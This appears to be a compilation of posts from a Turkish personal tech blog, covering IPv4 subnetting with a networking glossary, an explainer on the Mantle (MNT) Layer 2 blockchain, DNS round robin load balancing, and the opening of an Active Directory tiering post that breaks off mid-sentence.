Broadcast trafiğini önlemektir, Bu yüzden ağın küçük alt ağlara bölünmesi gerekir. Router kullanılarak ağlar parçalanır ve fiziksel olarak ayrılır. Broadcast Router' dan geçemediği için yalnızca bir ağ içerisinde hapsolur ve diğer ağlara erişemez. Bu sayede trafik sorunu ortadan kalkar. 📝 IP Adres Sınıfları: Class| IP Range| Netmask | CIDR A Sınıfı: 1–127 Ağ Maskesi: 255.0.0.0/8 B Sınıfı: 128–191 Ağ Maskesi: 255.255.0.0/16 C Sınıfı: 192–223 Ağ Maskesi: 255.255.255.0/24 D Sınıfı: 224–239 Multicast içindir. E Sınıfı: 240–254 Deneyler ve araştırmalar için ayrılmıştır. 127: Loopback olarak ayrılmıştır. Public ve Private IP Adresleri Hakkında:https://farukguler.com/2023/03/25/private-ip-addresshttps://farukguler.com/2022/02/26/public-ip-address IPv4 Subnet Mask Cheat Sheet CIDRSubnet MaskWildcard MaskIPAvailable IP/32255.255.255.2550.0.0.011/31255.255.255.2540.0.0.122*/30255.255.255.2520.0.0.342/29255.255.255.2480.0.0.786/28255.255.255.2400.0.0.151614/27255.255.255.2240.0.0.313230/26255.255.255.1920.0.0.636462/25255.255.255.1280.0.0.127128126/24255.255.255.00.0.0.255256254/23255.255.254.00.0.1.255512510/22255.255.252.00.0.3.2551,0241,022/21255.255.248.00.0.7.2552,0482,046/20255.255.240.00.0.15.2554,0964,094/19255.255.224.00.0.31.2558,1928,190/18255.255.192.00.0.63.25516,38416,382/17255.255.128.00.0.127.25532,76832,766/16255.255.0.00.0.255.25565,53665,534/15255.254.0.00.1.255.255131,072131,070/14255.252.0.00.3.255.255262,144262,142/13255.248.0.00.7.255.255524,288524,286/12255.240.0.00.15.255.2551,048,5761,048,574/11255.224.0.00.31.255.2552,097,1522,097,150/10255.192.0.00.63.255.2554,194,3044,194,302/9255.128.0.00.127.255.2558,388,6088,388,606/8255.0.0.00.255.255.25516,777,21616,777,214/7254.0.0.01.255.255.25533,554,43233,554,430/6252.0.0.03.255.255.25567,108,86467,108,862/5248.0.0.07.255.255.255134,217,728134,217,726/4240.0.0.015.255.255.255268,435,456268,435,454/3224.0.0.031.255.255.255536,870,912536,870,910/2192.0.0.063.255.255.2551,073,741,8241,073,741,822/1128.0.0.0127.255.255.2552,147,483,6482,147,483,646/00.0.0.0255.255.255.2554,294,967,2964,294,967,294 🛡️ 2ⁿ - 2 Formülü Nedir? Bu formül, bir subnet içerisindeki kullanılabilir IP adreslerini hesaplar. Formülü anlamak için önce "n" terimini açıklayalım: n: Subnet maskesine göre, host'lara ayrılan bitlerin sayısını ifade eder. Örneğin, bir /24 subnet maskesi, IP adresinin ilk 24 bit'ini ağ kısmı (network) olarak ayırır, geri kalan 8 bit'ini ise host kısmı olarak kullanır, ve burada toplam 2⁸ = 256 IP adresi bulunur. ╰┈➤🔴 Network ve Broadcast Adresi Hakkında: Network Adresi: Genellikle subnet’in ilk adresidir ve tüm host bitleri 0’dır (örneğin, 192.168.1.0) Broadcast Adresi: Subnet’in son adresidir ve tüm host bitleri 1’dir (örneğin, 192.168.1.255) +Her subnet'te bir Network adresi ve bir Broadcast adresi bulunur +Network adresi, subnet içindeki cihazların iletişimi için kullanılır ve hiçbir host 'a atanamaz. +Broadcast adresi ise, subnet içerisindeki tüm cihazlara mesaj göndermek için kullanılır ve yine hiçbir host 'a atanamaz. 📋Network ve Broadcast'in Çıkarılması: Subnet'teki toplam IP adresi sayısı 2ⁿ ile bulunur. Ancak, her subnet 'te bulunan Network adresi ve Broadcast adresi hiçbir host 'a atanamaz ve çıkarılması gerekir. Bu yüzden available host IP sayısı: 2ⁿ - 2'dir. [2⁸ = 256-2] = 254 ' tür. 📌📌📌 2ⁿ : Bu ifade, IP adreslerinin subnetting (alt ağlama) işlemlerinde kullanılan bir terimdir. Genellikle, bir subnet maskesi belirtildiğinde, host kısmındaki IP adreslerinin sayısını belirlemek için kullanılır. Örneğin, bir /24 subnet maskesi (255.255.255.0) kullanıldığında, bu subnette 2⁸ = 256 adet IP adresi kullanılabilir (Network adresi ve Broadcast adresi hariç). CIDR Gösterimi: CIDR, IP adreslerinin ve subnet maskelerinin daha esnek bir şekilde yönetilmesini sağlayan bir sistemdir. IP adreslerinin CIDR gösterimi, IP adresinin sonuna eklenen bir eğik çizgi (/) ve bir sayıdan oluşur. Bu sayı, subnet maskesinin ağ kısmındaki 1'leri (bitleri) sayarak ağın kaç bitlik kısmının ağ adresi olduğunu belirtir. Örneğin, /24 CIDR gösterimi, 24 bitlik ağ maskesi anlamına gelir (255.255.255.0). Bu iki kavram birbirine karıştırılmamalıdır. 2⁸ (256) host kısmındaki IP adreslerinin sayısını belirtirken, CIDR gösterimi ağ maskesinin ağ kısmının uzunluğunu belirtir. IPv4 and IPv6 Subnet Mask Cheat Sheet: https://github.com/theguler0x/Networking Calculators:https://jodies.de/ipcalchttps://www.solarwinds.com/free-tools/advanced-subnet-calculatorhttps://mxtoolbox.com/subnetcalculator.aspxhttps://www.calculator.net/ip-subnet-calculator.htmlhttps://www.tunnelsup.com/subnet-calculatorhttps://www.internex.at/de/toolbox/ipv6 📖 Terminology: IP Adresi: İnternet Protokolü adresidir ve ağdaki her cihazın benzersiz tanımlayıcısıdır. IPv4 (32 bitlik) ve IPv6 (128 bitlik) olmak üzere iki ana sürümü vardır. Pv6: IPv4'ün yerine geçmek üzere geliştirilmiş yeni nesil IP adresleme sistemidir. Adres tükenmesi sorununu çözmek için daha geniş bir adres alanı sunar ve IPv4'ten farklı olarak hexadecimal tabanında adresleri kullanır. Subnet Maskesi: IP adresinin ağ kısmını ve host kısmını belirlemek için kullanılan bir numaralı yöntemdir. Örneğin, /24 subnet maskesi (255.255.255.0) IP adresinin ilk 24 bitinin ağ kısmını ve son 8 bitinin host kısmını belirtir. CIDR (Classless Inter-Domain Routing): IP adreslerinin ve subnet maskelerinin esnek bir şekilde yönetilmesini sağlayan bir sistemdir. CIDR gösterimi, IP adresinin sonuna eklenen bir eğik çizgi (/) ve bir sayı ile belirtilir (örneğin, /24). Broadcast Adresi: Bir ağdaki tüm cihazlara gönderilen mesajların ulaştırıldığı adresdir. Örneğin, /24 subnet maskesi ile 192.168.1.0 IP ağı için broadcast adresi 192.168.1.255'tir. Network Adresi: Bir IP ağı için belirtilen ilk IP adresidir ve genellikle tüm host bitleri 0 olarak ayarlanmıştır. Örneğin, /24 subnet maskesi ile 192.168.1.0 IP ağı için network adresi 192.168.1.0'dır. Routing (Yönlendirme): IP paketlerinin ağlar arasında yönlendirilmesi ve iletilmesi işlemidir. Router'lar bu işlevi yerine getirir ve ağ iletişiminin temelini oluşturur. DHCP (Dynamic Host Configuration Protocol): Ağdaki cihazlara dinamik olarak IP adresi ve diğer ağ yapılandırma bilgilerini dağıtan bir protokoldür. Yeni cihazların ağa bağlanması ve IP adresi alması için kullanılır. NAT (Network Address Translation): Ağdaki özel IP adreslerini genel (public) IP adreslerine dönüştüren bir yöntemdir. Birden fazla cihazın aynı genel IP adresini kullanabilmesini sağlar. ARP Address Resolution Protocol: RFC 826 ile tanımlanan, IP adresinden MAC adresini bulan protokoldür. Bant genişliği: Ağ sinyalleri arasında kullanılan en yüksek ve en düşük frekanslar arasındaki aralık. Yaygın olarak, bir ağ protokolü veya ortamının, ölçülen throughput (yapılan iş) kapasitesine işaret eder. Binary: Birleri ve sıfırları kullanan, iki-karakter bir numaralama yöntemi. İkili numaralama sistemi, bilgilerin tamamen dijital gösterimi temeline dayanır. Bit: Bir 1 veya 0 olan ikili sayı. Sekiz bit, bir byte yapar. Bridge: Bir ağdaki iki segmenti bağlamak ve aralarında paketleri aktarmak için bir cihaz. Her iki segment, iletişim kurabilmek için aynı protokolleri kullanmak zorundadır. Bridge’ler, OSI referans modelinin 2.katmanı, Veri Hattı katmanında çalışırlar. Bridge’in amacı, gelen bir frame’i, MAC adresine bağlı olarak filtrelemek, göndermek ve yaymaktır. Broadcast Domain: Gruptaki herhangi bir cihazdan başlatılan broadcast frame’lerini alan cihazların bir grubudur. Router’lar broadcast frame’lerini iletmediklerinden, broadcast domain’leri bir broadcast’ten diğerine iletilmezler. CIDR Classless Inter-Domain Routing: Bir IP ağ grubunun, diğer ağlara, birleşik, daha geniş olarak görünmesine izin verir. CIDR’da, IP adresleri ve subnet mask’lar, noktalarla ayrılmış 4 oktet ve sonuna maskelenen bitleri temsil eden rakamın eklendiği bir adres olarak yazılmaktadır. (Bir subneti temsil eden kısaltma şekli). Collision Domain: Çarpışan frame’lerin tespit edildiği ethernet’teki ağ alanı. Collision’lar, hub ve repeater’lar ile yayınlanır, fakat LAN switch ve router’larla yayınlanmazlar. Collision: Ethernet’te aynı anda aktarım gönderen iki düğümün etkisi. Fiziksel ortamda karşılaştıklarında, her bir düğümden frame’ler çarpışacak ve hasar görecektir. Connectionless (bağlantısız): Bir sanal devre yaratmaksızın olan veri transferidir. Düşük ek yüke sahiptir, en güçlü taşımayı kullanır ve güvenli değildir. Connection-Oriented (bağlantı-tabanlı): Herhangi bir veri transfer edilmeden önce sanal bir devre oluşturan, veri transfer yöntemi. Güvenli veri transferi için onay ve akış kontrolü kullanır. Connectionless ile zıttır.  Crossover Kablo: Bir switch’i switch’e, kullanıcıyı-kullanıcıya, hub’ı hub’a veya switch’i hub’a bağlayan Ethernet kablo çeşididir. Data Link Katmanı: OSI referans modelinin 2. katmanı, fiziksel bir hat üzerinde güvenli veri aktarımından emin olur ve öncelikle, fiziksel adresleme, hat disiplini, ağ topolojisi, hata uyarısı, istenilen frame’lerin taşınması ve akış kontrolü sağlar. IEEE, bu katmanı, MAC alt katmanı ve LLC alt katmanı olarak daha çok sayıda bölümlemiştir. Aynı zamanda Link Katmanı olarak da bilinir. Deencapsulation: Bir katmanın, alt katmandan gelen Protocol Data Unit’deki (PDU) başlık bilgisini sildiği, katmanlaşmış protokoller tarafından kullanılan teknik. Default Route: Routing tablosunda bir sonraki hop’un belirtilmediği frame’leri yöneltmek için kullanılan static routing tablo girişi. DNS Domain Name System: Host isimlerini IP adreslerine çözmek için kullanılır. Enkapsülasyon: Bir katmanın, üzerindeki bir katmandan Protocol Data Unit’e (PDU) başlık bilgisini eklediği, katmanlı protokol tarafından kullanılan teknik. Örneğin, internet terminolojisinde, bir paket, Network katmanından (IP) bir başlık, Transport katmanından (TCP) bir başlık, uygulama protokol bilgisi ilave edilen bir Data link katmanı başlığı içerebilir. Ethernet: Xerox Corporation tarafından oluşturulan ve daha sonra Xerox, Digital Equipment Corporation ve Intel’in müşterek katkılarıyla geliştirilen bant tabanlı bir düzenlemedir. Ethernet, IEEE 802.3 serisi standarda benzerdir ve CSMA/CD kullanarak, 10Mbps’de çeşitli kablo türleri üzerinde çalışır. Aynı zamanda, DIX (Digital/Intel/Xerox) Ethernet olarak bilinir. Ayrıca bakınız: 10BaseT, Fast Ethernet ve IEEE. Fast Ethernet: 100Mbps hızında bir Ethernet düzenlemesidir. Fast Ethernet, MAC mekanizmaları, MTU ve frame formatı gibi özellikler korunarak, 10BaseT den 10 kat daha hızlıdır. Bu benzerlikler onu, Fast Ethernet ağlarında, mevcut 10BaseT uygulamaları ve yönetim araçları ile uyumlu kılar. Fast Ethernet, IEEE 802.3 düzenlemesinin bir uzantısına dayanmaktadır. Frame: Bir aktarım ortamına Data Link katmanı tarafından gönderilen bilginin mantıksal bir birimi. FTP File Transfer Protocol: Ağ düğümleri arasında dosya aktarılması için kullanılan bir TCP/IP protokolüdür. Geniş bir dosya çeşidi aralığını destekler ve RFC 959’la tanımlıdır. Handshake: Senkronize operasyonlardan emin olmak için ağdaki bir veya daha fazla cihaz arasında gidip gelen aktarımların bir serisi. Hop sayısı: Yoldaki router’ların sayısına bağlı, bir kaynak ve bir hedef arasındaki uzaklığı hesap eden bir routing metriği. RIP, tek metriği olarak hop sayısını kullanır. Hub’lar: Gerçekte sadece çok portlu repeater olan physical katman cihazlarıdır. Bir porttan elektronik dijital bir sinyal alındığında, sinyal, tekrar kuvvetlendirilir, tekrar üretilir ve sinyalin alındığı segment dışındaki tüm segmentlere gönderilir. IEEE (Institute of Electrical and Electronics Engineers): Diğer aktiviteleri arasında, ağ kurulumu ve haberleşmeyi de içeren, bilgi işlem ve elektronikteki birçok alanın standartlarını tanımlayan, profesyonel bir organizasyondur. IEEE standartları, endüstride bugün kullanılan hakim LAN standartlarıdır. Birçok protokol, yaygın olarak, uygun IEEE standardının referans numarasıyla bilinmektedir. Internet: Popülaritesi, 1990’ların ortasında yayılmaya başlayan, evrensel ağların ağıdır. Orijinal olarak, ortak akademik araştırma için bir araç olan internet, tüm bilgi çeşitlerinin değiş tokuş edildiği ve dağıtıldığı bir ortam oldu. İnternetin, tamamen farklı bilgisayar platform ve teknolojilerine bağlanma ihtiyacı, tek tip protokol ve standart gelişimine öncülük yaptı ki aynı zamanda firma LAN’larında yaygın olarak kullanılması başladı. IP Adresi: Sık olarak bir internet adresi olarak belirtilir. Bu, internetteki (veya herhangi bir TCP/IP ağında) herhangi bir cihazı (host) eşsiz olarak tanımlayan bir adrestir. Her bir adres, noktalarla ayrılan desimal numaralar olarak gösterilen dört oktetten oluşmaktadır (“noktalı-desimal” olarak bilinen bir format). Her adres, bir ağ numarası, isteğe bağlı bir alt ağ ve bir host numarasından oluşmuştur. Host adresi, ağ veya alt ağdaki özel bir düğümü adreslerken, ağ ve alt ağ numaraları, beraber, routing için kullanılmaktadır. Ağ ve alt ağ bilgisi, subnet maskesi kullanılarak IP adresinden çıkarılır. A’dan C’ye klasların, adreslerin ağ, alt ağ ve host bölümlerine farklı bitler ayırdığı, beş IP adres klası vardır (A-E). Ayrıca bakınız: CIDR, IP ve subnet maskesi. IP Internet Protokolü: RFC 791 de tanımlı, TCP/IP yığının parçası ve bağlantısız servis öneren bir Ağ katmanı protokolüdür. IP, adresleme, servis tipi teknik özellikleri, parçalama ve tekrar bir araya getirme ile güvenlik için özelliklerin düzenlenmesini sağlar. IP Multicast: Bir kaynaktan çeşitli uç noktalara veya çoklu kaynaklardan birçok hedefe IP trafiğinin tekrar çoğaltılmasını mümkün kılan bir routing tekniği. Her özel hedef noktasına bir paket yerine, grup için sadece bir IP uç noktası belirtilen bir multicast grubuna bir paket gönderilir. Katman: Ağdaki aktarım için verinin enkapsüle edilmesinde, OSI modelinin nasıl çalıştığını hiyerarşik olarak belirtmek için kullanılan terim. LAN: Lokal area network: Yaygın olarak, limitli coğrafi bir alandaki (birkaç kilometreye kadar) ilgili cihazlar ve iki ya da daha fazla bilgisayarı bağlayan bir ağ. LAN’lar, tipik olarak, bir firmadaki, yüksek-hızlı, düşük-hatlı ağlardır. OSI’nin Fiziksel ve Veri Hattı katmanlarındaki kablolama ve sinyalleşme, LAN standartları tarafından dikte edilmektedir. LAN Switch: Genel olarak, özellikle bir Ethernet switch olarak belirtilen, veri hattı segmentleri arasındaki paketleri aktaran, yüksek-hızlı, çoklu interface’i olan bir köprüleme mekanizmasıdır. LAN switch’ler, MAC adres tabanlı trafiği transfer ederler. MAC Adresi: Bir LAN segmentine bağlanmak için gerekli tüm port ve cihazların bir Data link katmanı donanım adresi. Bu cihazlar mantıksal adreslerin doğru lokasyonu için ağdaki cihazlar tarafından kullanılmaktadır. MAC adresleri, IEEE standartları tarafından tanımlanmaktadır ve tipik olarak lokal LAN arayüzlerinde burned-in address (BIA) kullanılır, 48 bit uzunluğundadır. Farklı şekillerde adlandırılan donanım adresleri, fiziksel adres, burned-in adresi veya MAC katmanı adresidir. MAC Media Access Control: Donanım adreslemesi, ortam erişimi ve frameler için hata tespitinden sorumlu, Data link katmanının alt katmanı. Maksimum Hop Sayısı: Sonlandırılmadan önce, bir paketin aktarılmasına izin verilen router’ların sayısı. Bu, bir paketin bir ağda sonsuza kadar dönmesini engellemek için oluşturulmuştur. Multicast: Yaygın olarak, tek bir verici ile çoklu alıcılar arasındaki bir bağlantıdır. Broadcast adreslerin aksine, ağdaki tüm adreslere gönderilen, multicast mesajlar, ağ adreslerinin tanımlı bir altkümesine gönderilir, bu altküme, paketin hedef adresinde gösterilen bir grup multicast adresine sahiptir. NAT Network Address Translation: Evrensel benzersiz IP adres gereksinimlerini minimize etmekte faydalı bir algoritma. Kuruluşlara, public olmayan adreslerini, evrensel yönlenebilir adres aralığına çevirmeleri imkanı verir. Native VLAN: Cisco switch’lerin hepsi, VLAN1 olarak adlandırılan bir native VLAN’e sahiptir. Bu, herhangi bir yolla silinemez ve değiştirilemez. Tüm switch portları, varsayılan olarak VLAN1’dedir. Oktet: Noktalı, ondalıklı bir IP adresinin bir bölümünü tanımlamak için kullanılan 8-tabanlı numaralama sistemi. Ayrıca, byte olarak da belirtilir. OSI Open Systems Interconnection: Farklı üretici ekipmanlarının birlikte çalışabilirliğini gerçekleştiren, veri ağı kurulumu standartlarının gelişimi için ISO ve ITU-T tarafından geliştirilen uluslararası standartlaştırma programı. OSI Referans Modeli Open Systems Interconnection Referans Modeli: Cihazların herhangi bir kombinasyonunun, iletişim amacıyla nasıl bağlanabileceğini açıklayan, International Organization for Standardization (ISO) tarafından tanımlanan kavramsal bir modeldir. OSI modeli, görevleri, en üstte uygulamaların, en altta fiziksel ortamın bulunduğu bir hiyerarşi oluşturan yedi fonksiyonel katmana böler ve her bir katmanın sağladığı fonksiyonları tanımlar. OUI Organizationally Unique İdentifier: Network Interface kartı yapan bir kuruluşa IEEE tarafından tahsis edilen koddur. Daha sonra kuruluş bu OUI’yı ürettiği tüm kartlara koyar. OUI, 3 byte (24 bit) uzunluğundadır. Sonra üretici, istemciyi eşsiz olarak tanımlamak için 3-byte tanıtıcı ekler. Adresin toplam uzunluğu 48 bittir (6 byte) ve donanım ya da MAC adresi olarak bilinir. Paket Switching: Paketlerle veri aktarım tabanlı bir ağ kurulumu teknolojisidir. Sürekli bir iletişimi ufak birimlere-paketlere bölmek, bir ağdaki çoklu cihazlardaki veriyi, eşzamanlı aynı iletişim kanallarına paylaştırmayı mümkün kılar, fakat ayrıca tam routing bilgisinin kullanımı gerekmektedir. Paket: Veri iletişiminde, transfer edilen bilginin temel mantıksal birimidir. Bir paket, paketin nereden geldiği, nereye gittiği ve saire hakkında bilgiler içeren başlık ve/veya kuyrukta paketlenmiş ya da enkapsüle edilmiş, belirli sayıda veri byte’larından oluşmaktadır. Bir iletim göndermekle görevli çeşitli protokoller, daha sonra alıcı cihazlardaki ilgili protokollerin işledikleri, kendi katmanlarının başlık bilgilerini eklerler. Physical Katman: OSI referans katmanındaki en alttaki katman (katman 1). Veri frame’lerini, Data Link katmanından (katman 2) elektrik sinyaline çevirmekten sorumludur. Physical katman protokolleri ve standartları, örneğin, pin atamaları ile 0 ve 1 değerinde sinyalleşme için şifreleme planlaması içeren, kablo ve konnektörleri tanımlar Router: Ağ trafiğinin aktarımında kullanmak için en iyi yola karar vermekte bir veya daha fazla metrik kullanan, donanımsal veya yazılımsal bir Network katmanı mekanizması. Router’lar tarafından ağlar arasında paketler göndermek, Network katmanında sağlanan bilgiye bağlıdır. Geçmişte bu cihaz bazen bir gateway olarak belirtilmiştir. Sequencing: Sanal devrelerde ve segment’leri numaralamak için bölümlenmesinde kullanılır, böylece doğru sırayla tekrar geri konulabilirler. Subnetwork (Alt ağ): Geniş bir IP ağının parçası olan bir ağdır ve bir subnet adresi tarafından tanımlanmaktadır. Bir ağ yöneticisi, hiyerarşik, çok seviyeli bir routing yapısı sağlamak ve aynı zamanda bağlı ağların adresleme karmaşıklığından alt ağı korumak için bir ağı segmentlerine ayırır. Ayrıca bir subnet olarak da bilinir. Switch (1): Ağ kurulumunda, frame filtreleme, yayma ve gönderme gibi çoklu fonksiyonlardan sorumlu bir cihazdır. Özel frame’lerin hedefini kullanarak çalışır. Switch’ler OSI modelinin Data Link katmanında çalışır. (2) Yaygın olarak, ihtiyaç duyulduğunda kurulan ve artık ihtiyaç olmadığında sonlandırılan bağlantılara izin verilen elektronik/mekanik bir cihaz. Telnet: TCP/IP protokol ailesinde standart terminal emülasyon protokolü. Uzak terminal bağlantı yöntemi, kullanıcıların uzak ağlarda login olmalarını mümkün kılar ve lokal olarak bağlanır gibi, bu kaynakları kullanırlar. TFTP Trivial File Transfer Protocol: Kavramsal olarak, FTP’nin kısıtlı versiyonudur. Ne istediğinizi ve nerede bulunacağını tam olarak bilip bilmeme seçeneğinin protokolüdür. TFTP, FTP’nin sahip olduğu fonksiyon zenginliğini içermez. Özellikle, directory arama özelliği yoktur, dosyaları alıp göndermek dışında hiçbir şey yapamaz. TTL Time to live: Bir paketin geçerli olduğu zamanı belirten, IP başlığındaki bir alan. UDP User Datagram Protocol: Basit olarak, onay veya taşıma garantisi olmaksızın datagramların değiş tokuş edilmesine izin veren, TCP/IP protokol yığınındaki, bir connectionless transport katman protokolüdür,. UDP, RFC 768’de tanımlıdır. UTP Unshielded twisted-pair: Kullanıcı cihazlarını switch ya da hub’a bağlamak için küçükten-genişe ağlarda kullanılan, bakır kablolaması. Ayrıca switch’i-switch’e veya hub’ı hub’a bağlamakta da kullanılır. VLAN Virtual LAN: Bir veya daha fazla mantıksal segmentlere ayrılmış LAN’da (yönetim yazılımı kullanılarak yapılandırılan) cihazlar grubu. Cihazların, gerçekten çok farklı LAN segmentlerinde bulunduklarında, aynı fiziksel ortam aracına bağlıymış gibi iletişimde olmalarını mümkün kılar. VLAN’ler, fiziksel bağlantılar yerine mantıksal tabanlıdırlar ve bundan dolayı çok esnektirler. https://gelecegiyazanlar.turkcell.com.tr/konu/egitim/temel-network-egitimi/terimler-sozlugu --- ## Mantle (MNT) Nedir? Hazine Destekli Modüler L2 Link: https://farukguler.com/posts/mantle-mnt-nedir/ Mantle Network (MNT), Ethereum’un ölçeklenebilirliğini artırmak için tasarlanmış, yüksek performanslı bir Layer 2 (Katman 2) blockchain’idir. Bir Optimistic Rollup olan Mantle, Ethereum’un güvenliğinden ödün vermeden işlemleri çok daha hızlı ve çok daha düşük gas ücretleriyle gerçekleştirmeyi hedefler. Mantle’ı diğer L2 çözümlerinden (Arbitrum, Optimism vb.) ayıran iki temel ve çok güçlü özelliği vardır: Modüler Mimari: Veri kullanılabilirliği için EigenDA‘yı kullanan, yenilikçi bir teknoloji yığınına sahiptir. Devasa Hazine: Dünyanın en büyük merkeziyetsiz hazinelerinden birine sahip olan BitDAO projesinin doğrudan bir evrimi olarak doğmuştur. Bu proje, BitDAO’nun $BIT token’ının $MNT’ye dönüştürülmesi ve tüm devasa (milyarlarca dolarlık) hazinenin bu yeni L2 ağının büyümesi için kullanılması kararıyla başlamıştır. Kısacası Mantle, “hazine destekli” ve ekosistemini parayla fonlayabilen (bootstrap) bir Layer 2’dir. Mantle’ın Farkı: Modüler Blockchain Mimarisi Geleneksel (monolitik) blockchain’ler (Ethereum L1 gibi) üç temel görevi (Yürütme, Mutabakat, Veri Kullanılabilirliği) tek bir katmanda yapmaya çalışır. Bu durum, ağ tıkandığında “blockchain trilemması” sorunlarına yol açar. Mantle ise modüler bir yaklaşım benimser: Yürütme Katmanı (Execution): Mantle’ın L2 ağı (EVM uyumlu). Veri Kullanılabilirliği (DA) Katmanı: Mantle DA (EigenDA teknolojisiyle güçlendirilmiştir). Mutabakat ve Çözümleme (Settlement): Ethereum L1. Mantle DA: Düşük Ücretlerin Sırrı Mantle’ı ultra düşük ücretli yapan kilit teknolojisi, kendi Veri Kullanılabilirliği (DA) katmanıdır. Diğer Optimistic Rollup’lar (örn. Optimism, Arbitrum), işlem verilerini (calldata) doğrudan Ethereum L1’e yazarlar. Bu, gas ücretlerinin pahalı olan kısmıdır. Mantle ise, işlem verilerini Ethereum L1 yerine, EigenLayer‘ın “restaking” teknolojisini kullanan Mantle DA adlı ayrı bir düğüm (node) ağına gönderir. Bu düğümler verilerin kullanılabilir olduğunu onaylar ve Ethereum’a sadece bu onayın bir kanıtını gönderir. Bu yaklaşım, işlem maliyetlerini Ethereum’a veri yazmaktan çok daha ucuza mal eder ve Mantle’a rakiplerine karşı bir maliyet avantajı sağlar. MNT Tokenı: Tokenomi ve Hazine Gerçekleri MNT, Mantle ekosisteminin merkezinde yer alan çok yönlü bir token’dır. Bu token, eski BitDAO ($BIT) token’ının 1:1 oranında dönüştürülmesiyle (MIP-22 teklifi) oluşturulmuştur. Arz ve Dağılım Toplam Arz: $BIT’ten $MNT’ye geçiş sırasında, 10 Milyarlık $BIT arzının yaklaşık 3.78 Milyar adedi yakılmış (burn) ve $MNT’nin toplam arzı ~6.2 Milyar MNT olarak yeniden düzenlenmiştir. Dolaşımdaki Arz: Toplam arzın yaklaşık %51’i (yaklaşık 3.2 Milyar MNT) dolaşımdadır. Hazine (Kritik Gerçek): Arzın geri kalanı (yaklaşık 3 Milyar MNT), ekosistemi fonlamak için Mantle Hazinesi‘nde tutulmaktadır. MNT Token’ın İşlevleri Gas Ücreti: Mantle L2 ağındaki tüm işlem ücretleri (gas fees) $MNT token’ı ile ödenir. Yönetişim (Governance): $MNT sahipleri, Mantle ekosisteminin yönetiminde söz sahibidir. Özellikle de devasa Mantle Hazinesi‘nin nasıl kullanılacağına (hibeler, yatırımlar, ekosistem fonları vb.) $MNT sahipleri karar verir. Staking (Mantle DA Düğümleri): MNT token’ı, Mantle’ın modüler DA katmanını güvence altına almak için EigenLayer’ın restaking mekanizmasıyla birlikte kullanılabilir (veya $mETH’e dönüştürülebilir). Gelecek Beklentisi: Muazzam Fırsatlar ve Zorlu Rekabet Mantle’ın gelecekteki başarısı, sahip olduğu benzersiz avantajları ne kadar iyi kullanacağına ve pazarın zorluklarını nasıl aşacağına bağlıdır. Projenin Güçlü Yanları (Potansiyel): Mantle Hazinesi (Savaş Sandığı): Mantle’ın en büyük rekabet avantajı, BitDAO’dan miras aldığı milyarlarca dolarlık (ETH, USDC, MNT) hazinesidir. Rakipleri (Arbitrum, Optimism) ekosistemlerini “teşvik” (incentive) programları için kendi token’larını dağıtmak zorundayken, Mantle, geliştiricileri ve kullanıcıları çekmek için doğrudan stabilcoin (USDC) veya ETH gibi “gerçek” varlıklarla fonlayabilir. Bu, ekosistemi sıfırdan başlatmak (bootstrap) için muazzam bir güçtür. Mantle LSP (Likit Staking Protokolü): Hazinenin ilk ve en önemli ürünlerinden biri Mantle LSP‘dir. Kullanıcılar ETH’lerini kilitleyip karşılığında $mETH (Mantle Staked ETH) alırlar. $mETH, faiz getiren bir varlıktır ve Mantle L2 ağındaki DeFi protokollerinde teminat olarak kullanılabilir. Bu, ağa hem değer hem de “yapışkan” (sticky) likidite çekmek için tasarlanmış dâhiyane bir hamledir. EigenDA Avantajı: EigenDA’yı ilk ve en büyük ölçekte entegre eden projelerden biri olması, ona kalıcı bir işlem ücreti avantajı sağlayabilir. Projenin Önündeki Engeller (Zorluklar): L2 Rekabeti: Layer 2 alanı, kripto dünyasının en rekabetçi ve en “kanlı” alanıdır. Mantle, Arbitrum (ARB) ve Optimism (OP) gibi pazar payını çoktan kapmış, devasa ve organik topluluklara sahip devlere karşı yarışmak zorundadır. Ayrıca zkSync, Starknet gibi ZK-Rollup teknolojileri de sürekli pazar payı çalmaya çalışmaktadır. Sadece paraya sahip olmak, kullanıcıların alışkanlıklarını kırmak için yeterli olmayabilir. Hazine Yönetimi Riski: Devasa bir hazine, aynı zamanda devasa bir sorumluluktur. Eğer $MNT sahipleri (DAO) bu hazineyi verimsiz kullanır, yanlış projelere yatırım yapar veya fonları dağıtmakta yavaş kalırsa, bu en büyük avantajları bir dezavantaja dönüşebilir. Merkeziyetçilik Algısı: Projenin BitDAO ve Bybit borsası ile olan tarihsel ve güçlü bağı, bazı “merkeziyetsizlik maksimalisti” geliştirici ve kullanıcıları uzaklaştırabilir. Piyasada “Bybit’in zinciri” olarak algılanmak, organik ve tarafsız bir ekosistem olma hedefinin önünde bir engel teşkil edebilir. Sonuç Mantle, sadece bir başka Ethereum Layer 2 çözümü değildir. O, modüler bir mimariyi (EigenDA ile ucuz veri kullanılabilirliği) ve devasa bir merkeziyetsiz hazineyi (BitDAO mirası) birleştiren benzersiz bir projedir. Bu güçlü finansal destek, Mantle’a diğer L2’lerin sahip olmadığı bir “savaş sandığı” sağlar. Başarısı, bu hazineyi ne kadar verimli kullanarak geliştiricileri ve kullanıcıları son derece rekabetçi olan bu pazarda kendi ekosistemine çekebileceğine bağlı olacaktır. --- ## Round Robin DNS Load Balancer Link: https://farukguler.com/posts/microsoft-round-robin-load-balancer/ There are many different methods for Load Balancing between Servers and Services. For example, hardware can be used(Kemp LoadMaster, Riverbed, BigIP F5, Netscaler vs.) or software solutions can be used.I would like to talk about the DNS Round Robin feature, which is a frequently used method today.As you all know, more than one partner server is set up for the continuity of the services, especially on the Internet.A problem will arise here.Clients send a query to DNS server to access these services such as web server, if DNS server clientIf he always returns to his queries with the same IP address, an incredible band contraction (traffic) will occur on that service. This is where the DNS Round Robin (Load Balancing) feature comes into play. Round Robin; DNS works with the method of entering more than one A (Host) Record for the same domain. And the system shares the incoming requests to the servers. In fact, what we call apportionment is that it is done with the Round Robin algorithm, not according to the current load situation. The algorithm queues the servers and sends the incoming request to the first server and sends that server to the back. In this way, the requests are distributed to the servers. The request is sent even if the server is not currently running. Activating the first DNS – Round Robin feature: Then we create a zone called (test.guler.com) on the DNS server: Then you will enter the IP addresses of your partner servers in your Zone record that you have created on DNS (test.guler.com): That's the deal. After that, you will test Round Robin by pinging from different devices and you will see that each request is directed to different ip addresses. Umarım faydalı olmuştur. – I hope it was helpful. --- ## Active Directory Tiering Model Nedir? Örnek Yapı Link: https://farukguler.com/posts/active-directory-tiering-model-nedir-ornek-yapi/ Active Directory Tiering Model, Active Directory (AD) ortamında güvenlik ve erişim kontrolü için kullanılan bir yöntemdir. Bu model, kullanıcıların ve sistem yöneticilerinin belirli katman/seviyelerdeki yetkilere erişmesini ***[sadece 